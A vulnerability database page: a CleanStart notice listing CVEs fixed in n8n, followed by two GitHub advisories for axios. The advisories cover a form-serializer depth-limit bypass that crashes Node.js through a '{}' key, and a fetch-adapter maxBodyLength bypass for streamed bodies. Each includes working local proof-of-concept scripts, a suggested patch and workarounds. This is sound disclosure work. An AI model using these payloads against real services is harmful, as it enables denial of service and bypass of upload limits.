Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package n8n version 2.28.0-r2 fixes 46 vulnerabilities: CVE-2026-14643, CVE-2024-7042, CVE-2025-68665, CVE-2024-7774, CVE-2026-59873...
| URL | Type | ||||
|---|---|---|---|---|---|
|
|||||
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "n8n"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.28.0-r2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.28.0-r2"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package n8n version 2.28.0-r2 fixes 46 vulnerabilities: CVE-2026-14643, CVE-2024-7042, CVE-2025-68665, CVE-2024-7774, CVE-2026-59873...",
"id": "CLEANSTART-2026-YP71540",
"modified": "2026-08-14T05:57:21Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://n8n.io"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in n8n 2.28.0-r2",
"upstream": [
"CVE-2026-14643",
"CVE-2024-7042",
"CVE-2025-68665",
"CVE-2024-7774",
"CVE-2026-59873",
"CVE-2026-13697",
"CVE-2026-69198",
"CVE-2026-27795",
"CVE-2026-26019",
"CVE-2026-16728",
"CVE-2026-16729",
"CVE-2026-59892",
"CVE-2026-39244",
"ghsa-gcfj-64vw-6mp9",
"CVE-2026-14257",
"CVE-2026-15157",
"CVE-2026-69152",
"CVE-2026-69153",
"CVE-2026-18446",
"CVE-2026-71849",
"CVE-2026-69192",
"ghsa-5p4m-2wfm-xmqj",
"CVE-2026-59887",
"CVE-2026-67213",
"CVE-2026-67214",
"CVE-2026-67314",
"CVE-2026-59877",
"CVE-2026-59876",
"CVE-2026-59871",
"CVE-2026-54272",
"CVE-2026-59875",
"CVE-2026-59874",
"ghsa-frvp-7c67-39w9",
"ghsa-42h9-826w-cgv3",
"ghsa-7q8q-rj6j-mhjq",
"ghsa-f4gw-2p7v-4548",
"ghsa-hcpx-6fm6-wx23",
"ghsa-jqh4-m9w3-8hp9",
"ghsa-mmx7-hfxf-jppx",
"ghsa-mwf2-3pr3-8698",
"ghsa-pmv8-rq9r-6j72",
"CVE-2026-69207",
"CVE-2026-53606",
"CVE-2026-71848",
"CVE-2026-71850",
"ghsa-r292-9mhp-454m"
]
}
GHSA-HCPX-6FM6-WX23
Vulnerability from github – Published: 2026-07-20 22:38 – Updated: 2026-07-20 22:38Summary
Axios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in lib/helpers/toFormData.js. When serializing an object with a top-level key ending in {}, axios calls JSON.stringify() on that value before the formSerializer.maxDepth guard can inspect the nested structure.
An attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw RangeError: Maximum call stack size exceeded, causing a denial of service in the affected request path.
Impact
The impact is availability only. No confidentiality or integrity impact was confirmed.
Server-side applications are the primary concern when they accept user-controlled input and pass it into axios as data or params for multipart/form-data, application/x-www-form-urlencoded, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.
The attack requires control over a top-level object key ending in {} and a deeply nested object value. The option formSerializer.metaTokens: false is not a workaround because it only changes the emitted key name; the value is still stringified.
Affected Functionality
Affected paths include:
lib/helpers/toFormData.jswhen a top-level key ends with{}.lib/helpers/toURLEncodedForm.js, which delegates tohelpers.defaultVisitor.lib/helpers/AxiosURLSearchParams.js, used by default params serialization.- Request transforms in
lib/defaults/index.jswhen object data is serialized asmultipart/form-dataorapplication/x-www-form-urlencoded.
Unaffected paths include:
- Already-created
FormDataorURLSearchParamsvalues that axios does not walk withtoFormData. - Custom
paramsSerializer.serializeimplementations that do not call axiostoFormData. - Non-
{}deeply nested values intoFormData, which hitERR_FORM_DATA_DEPTH_EXCEEDEDas intended.
Technical Details
In lib/helpers/toFormData.js, defaultVisitor() handles top-level keys ending in {} before recursive traversal:
if (value && !path && typeof value === 'object') {
if (utils.endsWith(key, '{}')) {
key = metaTokens ? key : key.slice(0, -2);
value = JSON.stringify(value);
}
}
The depth guard is in build():
if (depth > maxDepth) {
throw new AxiosError(
'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
);
}
For {} metatoken values, build() only sees the top-level property. The nested value is handed directly to native JSON.stringify(), which recurses internally and can throw RangeError before axios emits the intended AxiosError.
Proof of Concept of Attack
Safe local PoC with no network I/O:
import toFormData from './lib/helpers/toFormData.js';
function buildDeep(depth) {
const head = {};
let cur = head;
for (let i = 0; i < depth; i += 1) {
cur.x = {};
cur = cur.x;
}
return head;
}
try {
toFormData({ 'evil{}': buildDeep(10000) });
} catch (err) {
console.log(err.name, err.code || '', err.message);
}
// Expected affected result:
// RangeError Maximum call stack size exceeded
Expected fixed behavior is an AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED.
Workarounds
Reject or depth-limit untrusted objects before passing them to axios serialization.
Strip or reject top-level keys ending in {} from untrusted objects when using axios form serialization.
For query parameters, use a custom paramsSerializer.serialize that enforces a depth limit.
For form bodies, construct FormData or URLSearchParams manually after validating input depth.
// 156 function defaultVisitor(value, key, path) {
// 165 if (value && !path && typeof value === 'object') {
// 166 if (utils.endsWith(key, '{}')) {
// 167 // eslint-disable-next-line no-param-reassign
// 168 key = metaTokens ? key : key.slice(0, -2);
// 169 // eslint-disable-next-line no-param-reassign
// 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked
// 171 } else if (...
`build()` later does enforce `maxDepth`:
// 211 function build(value, path, depth = 0) {
// 212 if (utils.isUndefined(value)) return;
// 213
// 214 if (depth > maxDepth) {
// 215 throw new AxiosError(
// 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth,
// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
// 218 );
The `'{}'` shortcut runs in `defaultVisitor`, which is invoked from inside `build()` for top-level keys (the `!path` clause at line 165 means the shortcut only triggers at top level, where `path` is `undefined`). At that point `depth === 0` and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because `defaultVisitor` reassigns `value = JSON.stringify(value)` and returns the rendered string straight to `formData.append`. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing `RangeError` synchronously.
The behaviour is independent of the `metaTokens` option: line 168 only changes whether `'{}'` stays on the key name, line 170 stringifies regardless. `toURLEncodedForm`'s wrapper visitor in `lib/helpers/toURLEncodedForm.js:11-14` falls through to the same `defaultVisitor`, so the form-encoded path is also affected.
The attacker payload is a single top-level key ending in `'{}'` whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of `{"x":{"x":...}}` produces enough nesting to overflow). The original advisory's threat model -- a server that forwards `req.body` or `req.query` into axios -- is unchanged:
app.post('/forward', async (req, res) => {
await axios.post('https://upstream/api', req.body); // req.body attacker-controlled
res.send('ok');
});
// attacker POST /forward with content-type: application/x-www-form-urlencoded
// body: {"evil{}": <8000-deep object>}
// -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes
The error is not an `AxiosError`; it is a raw `RangeError` thrown from the stringifier, so handlers that look for `err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED'` (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.
The fix is to also depth-limit (or pre-walk) the value before calling `JSON.stringify` on line 170, or to remove the top-level `'{}'` shortcut and rely on the depth-checked `build()` recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:
if (utils.endsWith(key, '{}')) {
// eslint-disable-next-line no-param-reassign
key = metaTokens ? key : key.slice(0, -2);
+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,
+ // which is recursive in V8 and stack-overflows on deeply nested input.
+ (function checkDepth(v, d) {
+ if (d > maxDepth) {
+ throw new AxiosError(
+ 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth,
+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED
+ );
+ }
+ if (v && typeof v === 'object') {
+ for (const k in v) checkDepth(v[k], d + 1);
+ }
+ })(value, 0);
// eslint-disable-next-line no-param-reassign
value = JSON.stringify(value);
}
(The recursion in `checkDepth` itself is bounded by `maxDepth`, so it cannot itself overflow.)
## PoC
Reproduces against a clean clone of `axios/axios` at v1.16.0 with `npm install` already run. `targets/axios/poc_jsonstringify_dos.mjs` is the script:
import axios from './source/index.js';
function buildDeep(depth) {
let head = {};
let cur = head;
for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; }
return head;
}
const malicious = buildDeep(5000);
const safeAdapter = () => Promise.resolve({
data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {}
});
// 1. POST x-www-form-urlencoded
try {
await axios.post('http://example.test/x',
{ 'evil{}': malicious },
{ headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter });
} catch (e) {
console.log('POST form-encoded:', e.name, '-', e.message);
}
// 2. GET with params
try {
await axios.get('http://example.test/x',
{ params: { 'evil{}': malicious }, adapter: safeAdapter });
} catch (e) {
console.log('GET params:', e.name, '-', e.message);
}
3/3 runs reproduce the same `RangeError` on `axios@1.16.0` with Node.js 24:
$ node poc_jsonstringify_dos.mjs
POST form-encoded: RangeError - Maximum call stack size exceeded
GET params: RangeError - Maximum call stack size exceeded
`safeAdapter` is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the `'{}'` suffix from the key and re-running gives the expected `AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED` from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.
Crash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.
## Impact
A remote, unauthenticated attacker who can influence an object that the application passes to axios as request `data` or `params` triggers an uncaught `RangeError` from inside the synchronous `JSON.stringify` call in `defaultVisitor`. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped `maxDepth` guard does not stop it because the `'{}'` suffix path bypasses `build()` entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with `'{}'` to land on the unguarded code path.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0.31.1"
},
{
"fixed": "0.33.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.15.1"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T22:38:04Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nAxios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in `lib/helpers/toFormData.js`. When serializing an object with a top-level key ending in `{}`, axios calls `JSON.stringify()` on that value before the `formSerializer.maxDepth` guard can inspect the nested structure.\n\nAn attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw `RangeError: Maximum call stack size exceeded`, causing a denial of service in the affected request path.\n\n## Impact\n\nThe impact is availability only. No confidentiality or integrity impact was confirmed.\n\nServer-side applications are the primary concern when they accept user-controlled input and pass it into axios as `data` or `params` for `multipart/form-data`, `application/x-www-form-urlencoded`, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception.\n\nThe attack requires control over a top-level object key ending in `{}` and a deeply nested object value. The option `formSerializer.metaTokens: false` is not a workaround because it only changes the emitted key name; the value is still stringified.\n\n## Affected Functionality\n\nAffected paths include:\n\n- `lib/helpers/toFormData.js` when a top-level key ends with `{}`.\n- `lib/helpers/toURLEncodedForm.js`, which delegates to `helpers.defaultVisitor`.\n- `lib/helpers/AxiosURLSearchParams.js`, used by default params serialization.\n- Request transforms in `lib/defaults/index.js` when object data is serialized as `multipart/form-data` or `application/x-www-form-urlencoded`.\n\nUnaffected paths include:\n\n- Already-created `FormData` or `URLSearchParams` values that axios does not walk with `toFormData`.\n- Custom `paramsSerializer.serialize` implementations that do not call axios `toFormData`.\n- Non-`{}` deeply nested values in `toFormData`, which hit `ERR_FORM_DATA_DEPTH_EXCEEDED` as intended.\n\n## Technical Details\n\nIn `lib/helpers/toFormData.js`, `defaultVisitor()` handles top-level keys ending in `{}` before recursive traversal:\n\n```js\nif (value \u0026\u0026 !path \u0026\u0026 typeof value === \u0027object\u0027) {\n if (utils.endsWith(key, \u0027{}\u0027)) {\n key = metaTokens ? key : key.slice(0, -2);\n value = JSON.stringify(value);\n }\n}\n```\n\nThe depth guard is in `build()`:\n\n```js\nif (depth \u003e maxDepth) {\n throw new AxiosError(\n \u0027Object is too deeply nested (\u0027 + depth + \u0027 levels). Max depth: \u0027 + maxDepth,\n AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n );\n}\n```\n\nFor `{}` metatoken values, `build()` only sees the top-level property. The nested value is handed directly to native `JSON.stringify()`, which recurses internally and can throw `RangeError` before axios emits the intended `AxiosError`.\n\n## Proof of Concept of Attack\n\nSafe local PoC with no network I/O:\n\n```js\nimport toFormData from \u0027./lib/helpers/toFormData.js\u0027;\n\nfunction buildDeep(depth) {\n const head = {};\n let cur = head;\n\n for (let i = 0; i \u003c depth; i += 1) {\n cur.x = {};\n cur = cur.x;\n }\n\n return head;\n}\n\ntry {\n toFormData({ \u0027evil{}\u0027: buildDeep(10000) });\n} catch (err) {\n console.log(err.name, err.code || \u0027\u0027, err.message);\n}\n\n// Expected affected result:\n// RangeError Maximum call stack size exceeded\n```\n\nExpected fixed behavior is an `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED`.\n\n## Workarounds\n\nReject or depth-limit untrusted objects before passing them to axios serialization.\n\nStrip or reject top-level keys ending in `{}` from untrusted objects when using axios form serialization.\n\nFor query parameters, use a custom `paramsSerializer.serialize` that enforces a depth limit.\n\nFor form bodies, construct `FormData` or `URLSearchParams` manually after validating input depth.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n## Summary\nThe `maxDepth=100` guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the `build()` recursion in `lib/helpers/toFormData.js`. The default visitor at `lib/helpers/toFormData.js:166-170` still has a top-level shortcut that calls `JSON.stringify(value)` whenever a key ends in `\u0027{}\u0027`, before `build()` ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with `RangeError: Maximum call stack size exceeded`, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into `axios({ data, params })`) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched.\n\n## Details\nAffected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits `toFormData`, which includes:\n\n- `axios.post(url, data, { headers: { \u0027content-type\u0027: \u0027application/x-www-form-urlencoded\u0027 } })` -\u003e `defaults.transformRequest` -\u003e `toURLEncodedForm(data)` -\u003e `toFormData`\n- `axios.post(url, data, { headers: { \u0027content-type\u0027: \u0027multipart/form-data\u0027 } })` -\u003e same path via `toFormData`\n- `axios.get(url, { params })` -\u003e `buildURL` -\u003e `new AxiosURLSearchParams(params)` -\u003e `toFormData`\n\nVulnerable code, `lib/helpers/toFormData.js`:\n\n```javascript\n// 156 function defaultVisitor(value, key, path) {\n// 165 if (value \u0026\u0026 !path \u0026\u0026 typeof value === \u0027object\u0027) {\n// 166 if (utils.endsWith(key, \u0027{}\u0027)) {\n// 167 // eslint-disable-next-line no-param-reassign\n// 168 key = metaTokens ? key : key.slice(0, -2);\n// 169 // eslint-disable-next-line no-param-reassign\n// 170 value = JSON.stringify(value); // \u003c-- V8 native, NOT depth-checked\n// 171 } else if (...\n```\n\n`build()` later does enforce `maxDepth`:\n\n```javascript\n// 211 function build(value, path, depth = 0) {\n// 212 if (utils.isUndefined(value)) return;\n// 213\n// 214 if (depth \u003e maxDepth) {\n// 215 throw new AxiosError(\n// 216 \u0027Object is too deeply nested (\u0027 + depth + \u0027 levels). Max depth: \u0027 + maxDepth,\n// 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n// 218 );\n```\n\nThe `\u0027{}\u0027` shortcut runs in `defaultVisitor`, which is invoked from inside `build()` for top-level keys (the `!path` clause at line 165 means the shortcut only triggers at top level, where `path` is `undefined`). At that point `depth === 0` and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because `defaultVisitor` reassigns `value = JSON.stringify(value)` and returns the rendered string straight to `formData.append`. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing `RangeError` synchronously.\n\nThe behaviour is independent of the `metaTokens` option: line 168 only changes whether `\u0027{}\u0027` stays on the key name, line 170 stringifies regardless. `toURLEncodedForm`\u0027s wrapper visitor in `lib/helpers/toURLEncodedForm.js:11-14` falls through to the same `defaultVisitor`, so the form-encoded path is also affected.\n\nThe attacker payload is a single top-level key ending in `\u0027{}\u0027` whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of `{\"x\":{\"x\":...}}` produces enough nesting to overflow). The original advisory\u0027s threat model -- a server that forwards `req.body` or `req.query` into axios -- is unchanged:\n\n```javascript\napp.post(\u0027/forward\u0027, async (req, res) =\u003e {\n await axios.post(\u0027https://upstream/api\u0027, req.body); // req.body attacker-controlled\n res.send(\u0027ok\u0027);\n});\n// attacker POST /forward with content-type: application/x-www-form-urlencoded\n// body: {\"evil{}\": \u003c8000-deep object\u003e}\n// -\u003e JSON.stringify recurses inside defaultVisitor -\u003e RangeError -\u003e handler crashes\n```\n\nThe error is not an `AxiosError`; it is a raw `RangeError` thrown from the stringifier, so handlers that look for `err.code === \u0027ERR_FORM_DATA_DEPTH_EXCEEDED\u0027` (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down.\n\nThe fix is to also depth-limit (or pre-walk) the value before calling `JSON.stringify` on line 170, or to remove the top-level `\u0027{}\u0027` shortcut and rely on the depth-checked `build()` recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads:\n\n```diff\n if (utils.endsWith(key, \u0027{}\u0027)) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n+ // Reject objects that would exceed maxDepth before handing to JSON.stringify,\n+ // which is recursive in V8 and stack-overflows on deeply nested input.\n+ (function checkDepth(v, d) {\n+ if (d \u003e maxDepth) {\n+ throw new AxiosError(\n+ \u0027Object is too deeply nested (\u0027 + d + \u0027 levels). Max depth: \u0027 + maxDepth,\n+ AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED\n+ );\n+ }\n+ if (v \u0026\u0026 typeof v === \u0027object\u0027) {\n+ for (const k in v) checkDepth(v[k], d + 1);\n+ }\n+ })(value, 0);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n }\n```\n\n(The recursion in `checkDepth` itself is bounded by `maxDepth`, so it cannot itself overflow.)\n\n## PoC\nReproduces against a clean clone of `axios/axios` at v1.16.0 with `npm install` already run. `targets/axios/poc_jsonstringify_dos.mjs` is the script:\n\n```javascript\nimport axios from \u0027./source/index.js\u0027;\n\nfunction buildDeep(depth) {\n let head = {};\n let cur = head;\n for (let i = 0; i \u003c depth; i++) { cur.x = {}; cur = cur.x; }\n return head;\n}\n\nconst malicious = buildDeep(5000);\nconst safeAdapter = () =\u003e Promise.resolve({\n data: \u0027never reached\u0027, status: 200, statusText: \u0027OK\u0027, headers: {}, config: {}\n});\n\n// 1. POST x-www-form-urlencoded\ntry {\n await axios.post(\u0027http://example.test/x\u0027,\n { \u0027evil{}\u0027: malicious },\n { headers: { \u0027content-type\u0027: \u0027application/x-www-form-urlencoded\u0027 }, adapter: safeAdapter });\n} catch (e) {\n console.log(\u0027POST form-encoded:\u0027, e.name, \u0027-\u0027, e.message);\n}\n\n// 2. GET with params\ntry {\n await axios.get(\u0027http://example.test/x\u0027,\n { params: { \u0027evil{}\u0027: malicious }, adapter: safeAdapter });\n} catch (e) {\n console.log(\u0027GET params:\u0027, e.name, \u0027-\u0027, e.message);\n}\n```\n\n3/3 runs reproduce the same `RangeError` on `axios@1.16.0` with Node.js 24:\n\n```\n$ node poc_jsonstringify_dos.mjs\nPOST form-encoded: RangeError - Maximum call stack size exceeded\nGET params: RangeError - Maximum call stack size exceeded\n```\n\n`safeAdapter` is a stub that returns a fake response, so the crash is provably inside axios\u0027s serialization layer, not in HTTP I/O. Removing the `\u0027{}\u0027` suffix from the key and re-running gives the expected `AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED` from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch.\n\nCrash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.\n\n## Impact\nA remote, unauthenticated attacker who can influence an object that the application passes to axios as request `data` or `params` triggers an uncaught `RangeError` from inside the synchronous `JSON.stringify` call in `defaultVisitor`. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped `maxDepth` guard does not stop it because the `\u0027{}\u0027` suffix path bypasses `build()` entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with `\u0027{}\u0027` to land on the unguarded code path.\n\u003c/details\u003e",
"id": "GHSA-hcpx-6fm6-wx23",
"modified": "2026-07-20T22:38:04Z",
"published": "2026-07-20T22:38:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11000"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11001"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.33.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios form serializer maxDepth bypass via {} metatoken"
}
GHSA-JQH4-M9W3-8HP9
Vulnerability from github – Published: 2026-07-20 22:27 – Updated: 2026-07-20 22:27Summary
axios’ fetch adapter does not enforce maxBodyLength for live WHATWG ReadableStream request bodies whose size cannot be determined before dispatch. Applications that use adapter: "fetch" and rely on maxBodyLength to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit.
This affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected.
Impact
An attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth.
This does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on maxBodyLength as the size guard.
Affected Functionality
Affected:
- adapter: "fetch" or environments where axios selects the fetch adapter.
- Request methods with bodies, such as POST, PUT, and PATCH.
- data as a WHATWG ReadableStream without a reliable Content-Length.
- Configurations that set maxBodyLength to a finite value.
Not affected:
- Axios versions before the fetch adapter was introduced.
- The Node HTTP adapter stream enforcement path.
- Known-length fetch-adapter bodies in 1.16.0+, such as strings, Blob, ArrayBuffer, ArrayBufferView, URLSearchParams, spec-compliant FormData, or requests with a finite Content-Length.
Technical Details
In lib/adapters/fetch.js, getBodyLength() handles null bodies, Blob, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for ReadableStream, so resolveBodyLength(headers, data) returns undefined when no finite Content-Length header is present.
The maxBodyLength check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to fetch().
When onUploadProgress is enabled, axios wraps the request body with trackStream(), but that wrapper only reports progress. It does not receive maxBodyLength and does not abort once loaded bytes exceed the cap.
The expected behavior exists in the HTTP adapter: lib/adapters/http.js enforces maxBodyLength for streamed uploads by counting chunks and rejecting with ERR_BAD_REQUEST.
Proof of Concept of Attack
Run from the axios repo root on Node 18+ against an affected version:
import http from 'node:http';
import axios from './index.js';
const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;
const server = http.createServer((req, res) => {
let received = 0;
req.on('data', (chunk) => {
received += chunk.length;
});
req.on('end', () => {
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({ received, limit: LIMIT }));
});
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const { port } = server.address();
function makeReadableStream(totalBytes) {
const chunk = new Uint8Array(64 * 1024).fill(0x42);
let remaining = totalBytes;
return new ReadableStream({
pull(controller) {
if (remaining <= 0) {
controller.close();
return;
}
const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);
remaining -= next.length;
controller.enqueue(next);
},
});
}
try {
const response = await axios.post(
`http://127.0.0.1:${port}/upload`,
makeReadableStream(PAYLOAD_BYTES),
{
adapter: 'fetch',
maxBodyLength: LIMIT,
headers: { 'content-type': 'application/octet-stream' },
}
);
console.log(response.data);
} finally {
server.close();
}
Expected vulnerable result: the server reports received: 2097152 even though maxBodyLength is 1024.
Workarounds
Use the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter maxBodyLength for unknown-length ReadableStream bodies until a fixed axios version is available.
const getBodyLength = async (body) => {
if (body == null) {
return 0;
}
if (utils.isBlob(body)) {
return body.size;
}
if (utils.isSpecCompliantForm(body)) {
const _request = new Request(platform.origin, {
method: 'POST',
body,
});
return (await _request.arrayBuffer()).byteLength;
}
if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {
return body.byteLength;
}
if (utils.isURLSearchParams(body)) {
body = body + '';
}
if (utils.isString(body)) {
return (await encodeText(body)).byteLength;
}
};
const resolveBodyLength = async (headers, body) => {
const length = utils.toFiniteNumber(headers.getContentLength());
return length == null ? getBodyLength(body) : length;
};
For a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite:
fetch.js Lines 214-232
// Enforce maxBodyLength against the outbound request body before dispatch.
// Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than
// maxBodyLength limit'). Skip when the body length cannot be determined
// (e.g. a live ReadableStream supplied by the caller).
if (hasMaxBodyLength && method !== 'get' && method !== 'head') {
const outboundLength = await resolveBodyLength(headers, data);
if (
typeof outboundLength === 'number' &&
isFinite(outboundLength) &&
outboundLength > maxBodyLength
) {
throw new AxiosError(
'Request body larger than maxBodyLength limit',
AxiosError.ERR_BAD_REQUEST,
config,
request
);
}
}
The in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap:
fetch.js Lines 253-261
if (_request.body) {
const [onProgress, flush] = progressEventDecorator(
requestContentLength,
progressEventReducer(asyncDecorator(onUploadProgress))
);
data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush);
}
The body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength.
### PoC
import http from 'node:http';
import axios from '../../index.js';
const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;
const server = http.createServer((req, res) => {
let received = 0;
req.on('data', (chunk) => {
received += chunk.length;
});
req.on('end', () => {
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({ received, limit: LIMIT }));
});
req.on('error', () => {
/* swallow client-side aborts */
});
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const port = server.address().port;
function makeReadableStream(totalBytes) {
const CHUNK = new Uint8Array(64 * 1024).fill(0x42);
let remaining = totalBytes;
return new ReadableStream({
pull(controller) {
if (remaining <= 0) {
controller.close();
return;
}
const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);
remaining -= next.length;
controller.enqueue(next);
},
});
}
try {
let result;
try {
const response = await axios.post(
`http://127.0.0.1:${port}/upload`,
makeReadableStream(PAYLOAD_BYTES),
{
adapter: 'fetch',
maxBodyLength: LIMIT,
headers: { 'content-type': 'application/octet-stream' },
// No content-length: the stream's total length is unknown ahead of
// dispatch, which is exactly the vulnerable code path.
}
);
result = { status: response.status, data: response.data };
} catch (err) {
result = { error: err && (err.code || err.message) };
}
console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---');
console.log('axios result:', JSON.stringify(result));
const ok =
result &&
result.status === 200 &&
result.data &&
typeof result.data === 'object' &&
result.data.received === PAYLOAD_BYTES &&
result.data.limit === LIMIT;
if (ok) {
console.log(
`VULNERABLE: server received ${result.data.received} bytes despite ` +
`maxBodyLength=${LIMIT}.`
);
process.exitCode = 0;
} else {
console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.');
process.exitCode = 1;
}
} finally {
server.close();
}
### Impact
- Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints).
- Bypass of cost / quota guards on upstream APIs.
